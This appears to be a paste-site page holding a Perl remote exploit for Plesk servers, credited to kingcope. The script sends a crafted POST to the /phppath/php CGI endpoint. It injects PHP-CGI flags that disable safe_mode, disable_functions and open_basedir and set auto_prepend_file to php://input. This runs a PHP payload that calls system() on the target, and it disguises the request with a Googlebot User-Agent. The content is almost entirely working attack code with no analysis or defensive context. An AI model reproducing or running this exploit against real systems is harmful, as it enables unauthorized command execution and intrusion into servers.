cephurs icon

pr0fsrs4kingcope2

cephurs | PRO | 11/02/16 08:39:35 PM UTC | 0 ⭐ | 952 👁️ | Never ⏰ | []
Perl |

1.36 KB

|

None

|

0 👍

/

0 👎

#plesk remote exploit by kingcope
#all your base belongs to me :>
use strict;
use warnings;
use IO::Socket;
use URI::Escape;
main {
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
    PeerPort => 80,
    Proto    => 'tcp') or die "OH GOD HOW DID THIS GET HERE I AM NOT GOOD WITH SOCKETS";
my $pwn = '<?php echo "Content-Type:text/html\r\n\r\n";echo "OK\n";system("uname -a;id;"); ?>';
my $arguments = uri_escape("-d","\0-\377"). "+" . 
    uri_escape("allow_url_include=on","\0-\377"). "+" .
    uri_escape("-d","\0-\377"). "+" .
    uri_escape("safe_mode=off","\0-\377"). "+" .
    uri_escape("-d","\0-\377"). "+" .
    uri_escape("suhosin.simulation=on","\0-\377"). "+" .
    uri_escape("-d","\0-\377"). "+" .
    uri_escape("disable_functions=\"\"","\0-\377"). "+" .
    uri_escape("-d","\0-\377"). "+" . 
    uri_escape("open_basedir=none","\0-\377"). "+" .
    uri_escape("-d","\0-\377"). "+" .
    uri_escape("auto_prepend_file=php://input","\0-\377"). "+" .
    uri_escape("-n","\0-\377");
my $path = uri_escape("phppath","\0-\377") . "/" . uri_escape("php","\0-\377");
print $sock "POST /$path?$arguments HTTP/1.1\r\n"
    ."Host: $ARGV[0]\r\n"
    ."User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)\r\n"
    ."Content-Type: application/x-www-form-urlencoded\r\n"
    ."Content-Length: ". length($pwn) ."\r\n\r\n" . $pwn;
while(<$sock>) {
    print;
    }
}
&main();

Comments